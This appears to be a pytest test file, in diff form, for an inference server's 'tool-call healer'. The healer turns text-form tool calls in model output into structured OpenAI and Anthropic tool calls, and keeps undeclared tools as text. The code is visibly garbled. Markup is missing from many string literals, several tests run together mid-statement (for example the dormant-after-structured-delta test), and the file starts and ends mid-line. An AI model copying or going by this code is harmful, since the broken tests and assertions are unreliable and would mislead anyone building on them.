StreamToolCallHealer({"Bash"}) + events = healer.feed(XML_UNDECLARED) + healer.finalize() + assert _events_text(events) == XML_UNDECLARED + assert not _events_calls(events) + + def test_two_calls_and_text_between(self): + healer = StreamToolCallHealer({"Bash", "Read"}) + xml_read = '{"name":"Read","arguments":{"path":"f"}}' + events = healer.feed(f"{XML_BASH} then {xml_read}") + healer.finalize() + calls = _events_calls(events) + assert [c["function"]["name"] for c in calls] == ["Bash", "Read"] + assert [c["id"] for c in calls] == ["call_0", "call_1"] + assert _events_text(events).strip() == "then" + + def test_mistral_array_multiple_calls_all_promoted_in_stream(self): + # A canonical Mistral [TOOL_CALLS] array carries several calls under a + # SINGLE signal. Draining only the first call would leave the residue + # starting at ",{...}]" (no signal), so later calls in the same array + # must be promoted in the same pass, not flushed as raw text. + healer = StreamToolCallHealer({"get_weather", "get_time"}) + array = ( + '[TOOL_CALLS][{"name":"get_weather","arguments":{"city":"Paris"}},' + '{"name":"get_time","arguments":{"tz":"UTC"}}]' + ) + events = healer.feed(array) + healer.finalize() + calls = _events_calls(events) + assert [c["function"]["name"] for c in calls] == ["get_weather", "get_time"] + assert [c["id"] for c in calls] == ["call_0", "call_1"] + assert _events_text(events) == "" + + def test_mistral_array_multiple_calls_promoted_char_by_char(self): + healer = StreamToolCallHealer({"get_weather", "get_time"}) + array = ( + '[TOOL_CALLS][{"name":"get_weather","arguments":{"city":"Paris"}},' + '{"name":"get_time","arguments":{"tz":"UTC"}}]' + ) + events = [] + for ch in array: + events += healer.feed(ch) + events += healer.finalize() + calls = _events_calls(events) + assert [c["function"]["name"] for c in calls] == ["get_weather", "get_time"] + assert _events_text(events) == "" + + def test_mistral_array_undeclared_middle_kept_as_text_others_promoted(self): + # A mid-array element for a tool that is not declared must survive as + # text while the declared neighbours on either side still promote in + # document order. + healer = StreamToolCallHealer({"a", "c"}) + array = ( + '[TOOL_CALLS][{"name":"a","arguments":{}},' + '{"name":"b","arguments":{}},{"name":"c","arguments":{}}]' + ) + events = healer.feed(array) + healer.finalize() + assert [c["function"]["name"] for c in _events_calls(events)] == ["a", "c"] + assert '"b"' in _events_text(events) + + def test_mistral_array_then_trailing_prose(self): + healer = StreamToolCallHealer({"a", "b"}) + array = '[TOOL_CALLS][{"name":"a","arguments":{}},{"name":"b","arguments":{}}]' + events = healer.feed(f"{array} all done") + healer.finalize() + assert [c["function"]["name"] for c in _events_calls(events)] == ["a", "b"] + assert "all done" in _events_text(events) + + def test_incomplete_call_healed_at_finalize(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed('{"name":"Bash","arguments":{"cmd":"ls"}}') + assert events == [] # held + events = healer.finalize() + (call,) = _events_calls(events) + assert call["function"]["name"] == "Bash" + + def test_teaching_text_flushes_at_finalize(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(" is the marker syntax") + healer.finalize() + assert _events_text(events) == " is the marker syntax" + assert not _events_calls(events) + + def test_hold_bound_flushes(self): + healer = StreamToolCallHealer({"Bash"}) + blob = "" + "x" * (64 * 1024 + 10) + events = healer.feed(blob) + healer.finalize() + assert _events_text(events) == blob + assert not _events_calls(events) + + def test_dormant_after_structured_delta(self): + healer = StreamToolCallHealer({"Bash"}) + held = healer.feed("prefix call Bash somehow???") + assert nudge_should_retry(data, {"Read"}) is True + + def test_no_retry_on_clean_prose(self): + assert nudge_should_retry(self._resp("all done"), {"Bash"}) is False + + def test_no_retry_when_heal_would_succeed(self): + assert nudge_should_retry(self._resp(XML_BASH), {"Bash"}) is False + + def test_no_retry_with_structured_calls(self): + data = self._resp("", tool_calls = [{"id": "x"}]) + assert nudge_should_retry(data, {"Bash"}) is False + + def test_no_retry_when_healing_disabled(self): + assert nudge_should_retry(self._resp("???"), None) is False + + def test_nudge_messages_shape(self): + data = self._resp("garbage") + suffix = nudge_messages(data, {"Bash", "Read"}) + assert [m["role"] for m in suffix] == ["assistant", "user"] + assert suffix[0]["content"] == "garbage" + assert "`Bash` or `Read`" in suffix[1]["content"] + + def test_retry_with_undeclared_structured_call_is_not_an_improvement(self): + # The retry replaces the original only when it carries a USABLE call: + # a structured call naming an undeclared tool must not count. + undeclared = [ + {"id": "x", "type": "function", "function": {"name": "Nuke", "arguments": "{}"}} + ] + declared = [ + {"id": "y", "type": "function", "function": {"name": "Bash", "arguments": "{}"}} + ] + assert response_has_promotable_calls(self._resp("", undeclared), {"Bash"}) is False + assert response_has_promotable_calls(self._resp("", declared), {"Bash"}) is True + + def test_retry_with_mixed_structured_calls_is_not_an_improvement(self): + # ALL structured calls must be declared: the caller forwards the whole + # list (and a parallel cap could keep only the FIRST), so a mixed retry + # could still hand the client an undeclared tool. + mixed = [ + {"id": "x", "type": "function", "function": {"name": "Nuke", "arguments": "{}"}}, + {"id": "y", "type": "function", "function": {"name": "Bash", "arguments": "{}"}}, + ] + assert response_has_promotable_calls(self._resp("", mixed), {"Bash"}) is False + assert ( + response_has_promotable_calls(self._resp("", list(reversed(mixed))), {"Bash"}) is False + ) + + @pytest.mark.parametrize( + "data", + [ + None, + "not a dict", + {}, + {"choices": []}, + {"choices": [{}]}, + {"choices": [{"message": None}]}, # llama-server error bodies do this + {"choices": [{"message": "not a dict"}]}, + {"choices": [{"message": {"content": None}}]}, + {"error": {"message": "boom"}}, + ], + ) + def test_malformed_response_shapes_never_raise(self, data): + # A malformed upstream body must degrade to "nothing to heal/nudge", + # never crash the request with an AttributeError. + assert nudge_should_retry(data, {"Bash"}) is False + assert response_has_promotable_calls(data, {"Bash"}) is False + suffix = nudge_messages(data, {"Bash"}) + assert suffix[0] == {"role": "assistant", "content": ""} + + +# ── Route-level wiring (OpenAI passthrough) ───────────────────────────── +# Mirrors the fake-llama-server patterns in test_openai_tool_passthrough.py. + +import asyncio # noqa: E402 +import threading # noqa: E402 +from types import SimpleNamespace # noqa: E402 + +import httpx # noqa: E402 + +from core.inference.api_monitor import ApiMonitor # noqa: E402 +from models.inference import ChatCompletionRequest, ChatMessage # noqa: E402 +from routes.inference import ( # noqa: E402 + _openai_passthrough_non_streaming, + _openai_passthrough_stream, +) + +LOOKUP_TOOL = { + "type": "function", + "function": {"name": "lookup", "parameters": {"type": "object", "properties": {}}}, +} +LOOKUP_XML = '{"name":"lookup","arguments":{"q":"x"}}' + + +def _payload(**kwargs): + defaults = dict( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + tools = [LOOKUP_TOOL], + ) + defaults.update(kwargs) + return ChatCompletionRequest(**defaults) + + +def _llama_backend(): + return SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ) + + +def _upstream_message( + content, + tool_calls = None, + finish_reason = "stop", +): + message = {"role": "assistant", "content": content} + if tool_calls is not None: + message["tool_calls"] = tool_calls + return { + "id": "chatcmpl-up", + "object": "chat.completion", + "created": 1, + "model": "gguf", + "choices": [{"index": 0, "message": message, "finish_reason": finish_reason}], + "usage": {"prompt_tokens": 1, "completion_tokens": 2, "total_tokens": 3}, + } + + +class ScriptedClient: + """Fake nonstreaming_client() returning scripted JSON bodies, counting POSTs.""" + + def __init__(self, bodies): + self.bodies = list(bodies) + self.posts = [] + + async def post( + self, + _url, + json = None, + timeout = None, + headers = None, + ): + self.posts.append(json) + return httpx.Response(200, json = self.bodies[min(len(self.posts) - 1, len(self.bodies) - 1)]) + + +async def _drive_non_streaming(monkeypatch, payload, bodies): + import routes.inference as inf_mod + + client = ScriptedClient(bodies) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client) + response = await _openai_passthrough_non_streaming( + _llama_backend(), payload, "gguf", monitor_id = None + ) + return client, json.loads(response.body) + + +async def _drive_stream(monkeypatch, payload, lines): + import routes.inference as inf_mod + + class Request: + async def is_disconnected(self): + return False + + async def fake_send(*_args, **_kwargs): + return httpx.Response(200, content = b"") + + async def fake_items(*_args, **_kwargs): + for line in lines: + yield line + + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) + monkeypatch.setattr(inf_mod, "api_monitor", ApiMonitor(max_entries = 3)) + response = await _openai_passthrough_stream( + Request(), + threading.Event(), + _llama_backend(), + payload, + "gguf", + "chatcmpl-test", + monitor_id = None, + ) + return [chunk async for chunk in response.body_iterator] + + +def _stream_payloads(chunks): + out = [] + for chunk in chunks: + for line in chunk.splitlines(): + if line.startswith("data: ") and line[6:] != "[DONE]": + out.append(json.loads(line[6:])) + return out + + +class TestOpenaiNonStreamingRoute: + def test_heals_xml_to_tool_calls(self, monkeypatch): + async def _run(): + client, data = await _drive_non_streaming( + monkeypatch, _payload(), [_upstream_message(LOOKUP_XML)] + ) + choice = data["choices"][0] + assert choice["finish_reason"] == "tool_calls" + (call,) = choice["message"]["tool_calls"] + assert call["function"]["name"] == "lookup" + assert json.loads(call["function"]["arguments"]) == {"q": "x"} + assert choice["message"]["content"] is None + assert data["usage"]["total_tokens"] == 3 # usage preserved + assert len(client.posts) == 1 # healing never re-requests + + asyncio.run(_run()) + + def test_bare_string_uses_client_schema_key(self, monkeypatch): + async def _run(): + content = '{"name":"Bash","arguments":"echo hi"}' + _, data = await _drive_non_streaming( + monkeypatch, + _payload(tools = [BASH_COMMAND_TOOL]), + [_upstream_message(content)], + ) + (call,) = data["choices"][0]["message"]["tool_calls"] + assert json.loads(call["function"]["arguments"]) == {"command": "echo hi"} + + asyncio.run(_run()) + + def test_opt_out_relays_verbatim(self, monkeypatch): + async def _run(): + _, data = await _drive_non_streaming( + monkeypatch, + _payload(auto_heal_tool_calls = False), + [_upstream_message(LOOKUP_XML)], + ) + choice = data["choices"][0] + assert choice["message"]["content"] == LOOKUP_XML + assert "tool_calls" not in choice["message"] + assert choice["finish_reason"] == "stop" + + asyncio.run(_run()) + + def test_no_tools_untouched(self, monkeypatch): + async def _run(): + _, data = await _drive_non_streaming( + monkeypatch, _payload(tools = None), [_upstream_message(LOOKUP_XML)] + ) + assert data["choices"][0]["message"]["content"] == LOOKUP_XML + + asyncio.run(_run()) + + def test_undeclared_tool_not_promoted(self, monkeypatch): + async def _run(): + xml = '{"name":"rogue","arguments":{}}' + _, data = await _drive_non_streaming(monkeypatch, _payload(), [_upstream_message(xml)]) + assert data["choices"][0]["message"]["content"] == xml + assert "tool_calls" not in data["choices"][0]["message"] + + asyncio.run(_run()) + + def test_structured_calls_untouched(self, monkeypatch): + async def _run(): + native = [ + { + "id": "call_up", + "type": "function", + "function": {"name": "lookup", "arguments": "{}"}, + } + ] + _, data = await _drive_non_streaming( + monkeypatch, + _payload(), + [_upstream_message("", tool_calls = native, finish_reason = "tool_calls")], + ) + assert data["choices"][0]["message"]["tool_calls"] == native + + asyncio.run(_run()) + + def test_length_finish_reason_preserved(self, monkeypatch): + async def _run(): + # Truncated generation: the healed call stays attached but the + # client must still see the truncation, so length is never + # upgraded to tool_calls. + _, data = await _drive_non_streaming( + monkeypatch, + _payload(), + [_upstream_message(LOOKUP_XML, finish_reason = "length")], + ) + choice = data["choices"][0] + assert choice["finish_reason"] == "length" + (call,) = choice["message"]["tool_calls"] + assert call["function"]["name"] == "lookup" + + asyncio.run(_run()) + + def test_tool_choice_none_relays_verbatim(self, monkeypatch): + async def _run(): + _, data = await _drive_non_streaming( + monkeypatch, + _payload(tool_choice = "none"), + [_upstream_message(LOOKUP_XML)], + ) + message = data["choices"][0]["message"] + assert message["content"] == LOOKUP_XML + assert "tool_calls" not in message + + asyncio.run(_run()) + + def test_tool_choice_forcing_other_function_not_promoted(self, monkeypatch): + async def _run(): + _, data = await _drive_non_streaming( + monkeypatch, + _payload(tool_choice = {"type": "function", "function": {"name": "other"}}), + [_upstream_message(LOOKUP_XML)], + ) + message = data["choices"][0]["message"] + assert message["content"] == LOOKUP_XML + assert "tool_calls" not in message + + asyncio.run(_run()) + + def test_mixed_declared_and_undeclared_promotes_and_keeps_text(self, monkeypatch): + async def _run(): + rogue = '{"name":"rogue","arguments":{}}' + mixed = f"{LOOKUP_XML} also {rogue}" + _, data = await _drive_non_streaming( + monkeypatch, _payload(), [_upstream_message(mixed)] + ) + choice = data["choices"][0] + (call,) = choice["message"]["tool_calls"] + assert call["function"]["name"] == "lookup" + assert rogue in choice["message"]["content"] + assert choice["finish_reason"] == "tool_calls" + + asyncio.run(_run()) + + def test_healed_then_native_stream_indexes_disjoint(self, monkeypatch): + async def _run(): + # A healed text-form call goes out first (index 0); a native + # structured delta follows. Clients merge deltas by index, so the + # native call must be shifted off index 0 or the two would merge. + native_line = ( + 'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":' + '[{"index":0,"id":"call_native","type":"function","function":' + '{"name":"lookup","arguments":"{}"}}]}}]}' + ) + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"content":' + + json.dumps(LOOKUP_XML) + + "}}]}", + native_line, + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines) + indexes = {} + for payload_data in _stream_payloads(chunks): + for ch in payload_data.get("choices", []): + for tc in (ch.get("delta") or {}).get("tool_calls") or []: + indexes.setdefault(tc["index"], tc.get("id")) + assert indexes.get(0, "").startswith("call_") and indexes[0] != "call_native" + assert indexes.get(1) == "call_native" + + asyncio.run(_run()) + + def test_role_delta_precedes_healed_stream_content(self, monkeypatch): + async def _run(): + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"role":"assistant","content":' + + json.dumps(LOOKUP_XML) + + "}}]}", + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines) + payloads = _stream_payloads(chunks) + first_delta = payloads[0]["choices"][0]["delta"] + assert first_delta == {"role": "assistant"} + assert "tool_calls" in payloads[1]["choices"][0]["delta"] + + asyncio.run(_run()) + + def test_same_chunk_role_content_finish_delays_finish_until_after_healed_tool( + self, monkeypatch + ): + async def _run(): + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"role":"assistant","content":' + + json.dumps(LOOKUP_XML) + + '},"finish_reason":"stop"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(stream = True), lines) + payloads = _stream_payloads(chunks) + assert payloads[0]["choices"][0]["finish_reason"] is None + assert payloads[0]["choices"][0]["delta"] == {"role": "assistant"} + assert "tool_calls" in payloads[1]["choices"][0]["delta"] + assert payloads[-1]["choices"][0]["finish_reason"] == "tool_calls" + + asyncio.run(_run()) + + +GARBAGE_SIGNAL = "call lookup somehow???" + + +class TestNudgeRetryOpenai: + def test_retry_recovers_call(self, monkeypatch): + async def _run(): + client, data = await _drive_non_streaming( + monkeypatch, + _payload(nudge_tool_calls = True), + [_upstream_message(GARBAGE_SIGNAL), _upstream_message(LOOKUP_XML)], + ) + assert len(client.posts) == 2 # exactly one retry + # Prefix byte-identical, nudge suffix appended (KV-cache reuse guard). + original, retry = client.posts + assert retry["messages"][: len(original["messages"])] == original["messages"] + suffix = retry["messages"][len(original["messages"]) :] + assert [m["role"] for m in suffix] == ["assistant", "user"] + assert suffix[0]["content"] == GARBAGE_SIGNAL + # The healed retry response is returned. + (call,) = data["choices"][0]["message"]["tool_calls"] + assert call["function"]["name"] == "lookup" + assert data["choices"][0]["finish_reason"] == "tool_calls" + + asyncio.run(_run()) + + def test_retry_still_garbage_returns_original(self, monkeypatch): + async def _run(): + client, data = await _drive_non_streaming( + monkeypatch, + _payload(nudge_tool_calls = True), + [_upstream_message(GARBAGE_SIGNAL), _upstream_message(GARBAGE_SIGNAL + "2")], + ) + assert len(client.posts) == 2 + assert data["choices"][0]["message"]["content"] == GARBAGE_SIGNAL + assert "tool_calls" not in data["choices"][0]["message"] + + asyncio.run(_run()) + + def test_default_off_single_post(self, monkeypatch): + async def _run(): + client, _ = await _drive_non_streaming( + monkeypatch, _payload(), [_upstream_message(GARBAGE_SIGNAL)] + ) + assert len(client.posts) == 1 + + asyncio.run(_run()) + + def test_no_retry_on_clean_prose(self, monkeypatch): + async def _run(): + client, _ = await _drive_non_streaming( + monkeypatch, + _payload(nudge_tool_calls = True), + [_upstream_message("all done")], + ) + assert len(client.posts) == 1 + + asyncio.run(_run()) + + def test_no_retry_when_heal_succeeds(self, monkeypatch): + async def _run(): + client, data = await _drive_non_streaming( + monkeypatch, + _payload(nudge_tool_calls = True), + [_upstream_message(LOOKUP_XML)], + ) + assert len(client.posts) == 1 + assert data["choices"][0]["message"]["tool_calls"] + + asyncio.run(_run()) + + def test_heal_opt_out_disables_nudge_too(self, monkeypatch): + async def _run(): + client, _ = await _drive_non_streaming( + monkeypatch, + _payload(auto_heal_tool_calls = False, nudge_tool_calls = True), + [_upstream_message(GARBAGE_SIGNAL)], + ) + assert len(client.posts) == 1 + + asyncio.run(_run()) + + +class TestNudgeRetryAnthropic: + async def _drive( + self, + monkeypatch, + bodies, + nudge = None, + ): + import routes.inference as inf_mod + from routes.inference import _anthropic_passthrough_non_streaming + + client = ScriptedClient(bodies) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client) + response = await _anthropic_passthrough_non_streaming( + _llama_backend(), + [{"role": "user", "content": "hi"}], + [LOOKUP_TOOL], + 0.7, + 0.95, + None, + 256, + "msg_test", + "gguf", + nudge_tool_calls = nudge, + ) + return client, json.loads(response.body) + + def test_retry_recovers_tool_use(self, monkeypatch): + async def _run(): + client, data = await self._drive( + monkeypatch, + [_upstream_message(GARBAGE_SIGNAL), _upstream_message(LOOKUP_XML)], + nudge = True, + ) + assert len(client.posts) == 2 + (block,) = [b for b in data["content"] if b["type"] == "tool_use"] + assert block["name"] == "lookup" + assert data["stop_reason"] == "tool_use" + + asyncio.run(_run()) + + def test_healed_tool_use_precedes_trailing_text(self, monkeypatch): + async def _run(): + _, data = await self._drive(monkeypatch, [_upstream_message(f"{LOOKUP_XML} done")]) + assert [block["type"] for block in data["content"]] == ["tool_use", "text"] + assert data["content"][1]["text"] == "done" + + asyncio.run(_run()) + + def test_default_off(self, monkeypatch): + async def _run(): + client, _ = await self._drive(monkeypatch, [_upstream_message(GARBAGE_SIGNAL)]) + assert len(client.posts) == 1 + + asyncio.run(_run()) + + +class TestAnthropicPassthroughHealingText: + """Non-streaming Anthropic passthrough must relay unpromoted (undeclared) + text-form calls as text, matching the OpenAI passthrough contract. Once + heal_openai_message promotes the declared call it span-trims only that + markup and deliberately leaves the undeclared bytes in the content; the + legacy blanket _TOOL_XML_RE strip must not delete them. + """ + + async def _drive(self, monkeypatch, upstream): + import routes.inference as inf_mod + from routes.inference import _anthropic_passthrough_non_streaming + + client = ScriptedClient([upstream]) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client) + response = await _anthropic_passthrough_non_streaming( + _llama_backend(), + [{"role": "user", "content": "hi"}], + [LOOKUP_TOOL], + 0.7, + 0.95, + None, + 256, + "msg_test", + "gguf", + ) + return json.loads(response.body) + + def test_mixed_declared_and_undeclared_relays_undeclared_as_text(self, monkeypatch): + async def _run(): + content = f"Running now. {LOOKUP_XML} then {XML_UNDECLARED} done." + data = await self._drive(monkeypatch, _upstream_message(content)) + # Declared lookup call is promoted into a structured tool_use block. + (tool_use,) = [b for b in data["content"] if b["type"] == "tool_use"] + assert tool_use["name"] == "lookup" + text = " ".join(b["text"] for b in data["content"] if b["type"] == "text") + assert XML_UNDECLARED in text + assert "Running now." in text and "done." in text + assert LOOKUP_XML not in text + + asyncio.run(_run()) + + +class TestAnthropicEmitterHealing: + def _events( + self, + emitter, + chunks, + finish = True, + ): + lines = [] + for chunk in chunks: + lines += emitter.feed_chunk(chunk) + if finish: + lines += emitter.finish() + return [json.loads(ln.split("data: ", 1)[1]) for ln in lines if "data: " in ln] + + def _emitter( + self, + allowed = ("lookup",), + **kwargs, + ): + from core.inference.anthropic_compat import AnthropicPassthroughEmitter + + emitter = AnthropicPassthroughEmitter() + emitter.enable_healing(set(allowed), **kwargs) + return emitter + + def _chunk( + self, + content = None, + tool_calls = None, + finish_reason = None, + ): + delta = {} + if content is not None: + delta["content"] = content + if tool_calls is not None: + delta["tool_calls"] = tool_calls + return {"choices": [{"delta": delta, "finish_reason": finish_reason}]} + + def test_xml_becomes_tool_use_block_and_stop_reason(self): + events = self._events( + self._emitter(), + [ + self._chunk(content = LOOKUP_XML), + self._chunk(finish_reason = "stop"), + ], + ) + starts = [e for e in events if e.get("type") == "content_block_start"] + (tool_start,) = [e for e in starts if e["content_block"]["type"] == "tool_use"] + assert tool_start["content_block"]["name"] == "lookup" + assert tool_start["content_block"]["id"].startswith("toolu_") + (args,) = [ + e["delta"]["partial_json"] + for e in events + if e.get("type") == "content_block_delta" and e["delta"]["type"] == "input_json_delta" + ] + assert json.loads(args) == {"q": "x"} + (message_delta,) = [e for e in events if e.get("type") == "message_delta"] + assert message_delta["delta"]["stop_reason"] == "tool_use" + + def test_mid_block_signal_closes_text_block_first(self): + events = self._events( + self._emitter(), + [ + self._chunk(content = f"Let me check {LOOKUP_XML}"), + self._chunk(finish_reason = "stop"), + ], + ) + kinds = [ + (e["type"], (e.get("content_block") or e.get("delta") or {}).get("type")) + for e in events + if e["type"].startswith("content_block") + ] + # text opens, streams the safe prefix, closes; then the tool_use block. + assert kinds[0] == ("content_block_start", "text") + assert kinds[1] == ("content_block_delta", "text_delta") + assert kinds[2] == ("content_block_stop", None) + assert kinds[3] == ("content_block_start", "tool_use") + texts = [ + e["delta"]["text"] + for e in events + if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta" + ] + assert "".join(texts) == "Let me check " + + def test_false_alarm_streams_as_text(self): + events = self._events( + self._emitter(), + [self._chunk(content = "use the
tag"), self._chunk(finish_reason = "stop")], + ) + texts = [ + e["delta"]["text"] + for e in events + if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta" + ] + assert "".join(texts) == "use the
tag" + (message_delta,) = [e for e in events if e.get("type") == "message_delta"] + assert message_delta["delta"]["stop_reason"] == "end_turn" + + def test_signal_split_across_chunks(self): + events = self._events( + self._emitter(), + [ + self._chunk(content = "{"name":"lookup","arguments":{"q":"y"}}' + events = self._events( + self._emitter(disable_parallel_tool_use = True), + [self._chunk(content = two), self._chunk(finish_reason = "stop")], + ) + starts = [ + e + for e in events + if e.get("type") == "content_block_start" and e["content_block"]["type"] == "tool_use" + ] + assert len(starts) == 1 + + def test_disable_parallel_drops_native_after_healed(self): + # A healed call consumed the single allowed slot; a later native + # structured call (index 0, so it survives the caller's chunk-level + # cap) must not open a second tool_use block. + structured = [ + { + "index": 0, + "id": "call_up", + "function": {"name": "lookup", "arguments": "{}"}, + } + ] + events = self._events( + self._emitter(disable_parallel_tool_use = True), + [ + self._chunk(content = LOOKUP_XML), + self._chunk(tool_calls = structured), + self._chunk(finish_reason = "tool_calls"), + ], + ) + starts = [ + e + for e in events + if e.get("type") == "content_block_start" and e["content_block"]["type"] == "tool_use" + ] + assert len(starts) == 1 + + def test_no_healing_means_verbatim_text(self): + from core.inference.anthropic_compat import AnthropicPassthroughEmitter + + emitter = AnthropicPassthroughEmitter() # enable_healing never called + events = self._events( + emitter, + [self._chunk(content = LOOKUP_XML), self._chunk(finish_reason = "stop")], + ) + texts = [ + e["delta"]["text"] + for e in events + if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta" + ] + assert "".join(texts) == LOOKUP_XML + + +class TestAnthropicNonStreamingRoute: + async def _drive( + self, + monkeypatch, + bodies, + auto_heal = None, + tools = None, + tool_choice = "auto", + ): + import routes.inference as inf_mod + from routes.inference import _anthropic_passthrough_non_streaming + + client = ScriptedClient(bodies) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client) + response = await _anthropic_passthrough_non_streaming( + _llama_backend(), + [{"role": "user", "content": "hi"}], + tools if tools is not None else [LOOKUP_TOOL], + 0.7, + 0.95, + None, + 256, + "msg_test", + "gguf", + tool_choice = tool_choice, + auto_heal_tool_calls = auto_heal, + ) + return client, json.loads(response.body) + + def test_promotes_xml_to_tool_use(self, monkeypatch): + async def _run(): + _, data = await self._drive(monkeypatch, [_upstream_message(LOOKUP_XML)]) + (block,) = [b for b in data["content"] if b["type"] == "tool_use"] + assert block["name"] == "lookup" + assert block["input"] == {"q": "x"} + assert data["stop_reason"] == "tool_use" + assert not any(b["type"] == "text" for b in data["content"]) + + asyncio.run(_run()) + + def test_opt_out_keeps_legacy_strip(self, monkeypatch): + async def _run(): + _, data = await self._drive( + monkeypatch, [_upstream_message(f"plan {LOOKUP_XML}")], auto_heal = False + ) + assert data["stop_reason"] == "end_turn" + (block,) = data["content"] + assert block["type"] == "text" + assert block["text"] == "plan" # XML stripped, nothing promoted + + asyncio.run(_run()) + + def test_undeclared_tool_not_promoted(self, monkeypatch): + async def _run(): + xml = '{"name":"rogue","arguments":{}}' + _, data = await self._drive(monkeypatch, [_upstream_message(xml)]) + assert data["stop_reason"] == "end_turn" + assert not any(b["type"] == "tool_use" for b in data["content"]) + # Healing preserves what it does not promote: the undeclared call + # reaches the client as text instead of being silently stripped. + (text_block,) = [b for b in data["content"] if b["type"] == "text"] + assert text_block["text"] == xml + + asyncio.run(_run()) + + def test_mixed_undeclared_text_preserved_after_heal(self, monkeypatch): + async def _run(): + # Declared call promoted to tool_use; the undeclared call's markup + # stays in the text block (the legacy strip must not run after a + # span-exact heal), matching the OpenAI passthrough. + rogue = '{"name":"rogue","arguments":{}}' + _, data = await self._drive(monkeypatch, [_upstream_message(f"{LOOKUP_XML} {rogue}")]) + (tool_block,) = [b for b in data["content"] if b["type"] == "tool_use"] + assert tool_block["name"] == "lookup" + (text_block,) = [b for b in data["content"] if b["type"] == "text"] + assert rogue in text_block["text"] + assert data["stop_reason"] == "tool_use" + + asyncio.run(_run()) + + def test_length_beats_tool_use(self, monkeypatch): + async def _run(): + _, data = await self._drive( + monkeypatch, [_upstream_message(LOOKUP_XML, finish_reason = "length")] + ) + assert data["stop_reason"] == "max_tokens" + assert any(b["type"] == "tool_use" for b in data["content"]) + + asyncio.run(_run()) + + def test_tool_choice_none_keeps_legacy_strip(self, monkeypatch): + async def _run(): + # Anthropic {"type": "none"} arrives here converted to "none": + # the request forbade tool calls, so nothing is promoted and the + # legacy XML strip applies as before healing existed. + _, data = await self._drive( + monkeypatch, + [_upstream_message(f"plan {LOOKUP_XML}")], + tool_choice = "none", + ) + assert data["stop_reason"] == "end_turn" + (block,) = data["content"] + assert block["type"] == "text" + assert block["text"] == "plan" + + asyncio.run(_run()) + + +class TestOpenaiStreamingRoute: + def test_heals_streamed_xml(self, monkeypatch): + async def _run(): + pieces = ["", '{"name":"lookup",', '"arguments":{"q":"x"}}', ""] + lines = [ + 'data: {"id":"c1","model":"gguf","created":1,"choices":[{"index":0,"delta":{"content":%s}}]}' + % json.dumps(p) + for p in pieces + ] + lines += [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(), lines) + payloads = _stream_payloads(chunks) + tool_deltas = [ + tc + for p in payloads + for c in p.get("choices", []) + for tc in (c.get("delta") or {}).get("tool_calls") or [] + ] + (call,) = tool_deltas + assert call["function"]["name"] == "lookup" + assert json.loads(call["function"]["arguments"]) == {"q": "x"} + finishes = [ + c["finish_reason"] + for p in payloads + for c in p.get("choices", []) + if c.get("finish_reason") + ] + assert finishes == ["tool_calls"] + # None of the XML leaked as visible content. + text = "".join( + (c.get("delta") or {}).get("content") or "" + for p in payloads + for c in p.get("choices", []) + ) + assert "" not in text + assert chunks[-1] == "data: [DONE]\n\n" + + asyncio.run(_run()) + + def test_parallel_cap_drops_native_after_healed(self, monkeypatch): + async def _run(): + # parallel_tool_calls=false: a healed call consumed the single + # allowed slot, and the upstream SSE cap keeps native index 0, so + # the route must drop the later native call itself. + xml = '{"name":"lookup","arguments":{"q":"x"}}' + native = ( + 'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":' + '[{"index":0,"id":"call_up","type":"function","function":' + '{"name":"lookup","arguments":"{}"}}]}}]}' + ) + lines = [ + 'data: {"id":"c1","model":"gguf","created":1,"choices":' + '[{"index":0,"delta":{"content":%s}}]}' % json.dumps(xml), + native, + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(parallel_tool_calls = False), lines) + payloads = _stream_payloads(chunks) + tool_deltas = [ + tc + for p in payloads + for c in p.get("choices", []) + for tc in (c.get("delta") or {}).get("tool_calls") or [] + ] + (call,) = tool_deltas + assert call["id"] == "call_0" # the healed call; native was dropped + + asyncio.run(_run()) + + def test_false_alarm_text_flushes(self, monkeypatch): + async def _run(): + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"content":"use the
tag"}}]}', + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(), lines) + payloads = _stream_payloads(chunks) + text = "".join( + (c.get("delta") or {}).get("content") or "" + for p in payloads + for c in p.get("choices", []) + ) + assert text == "use the
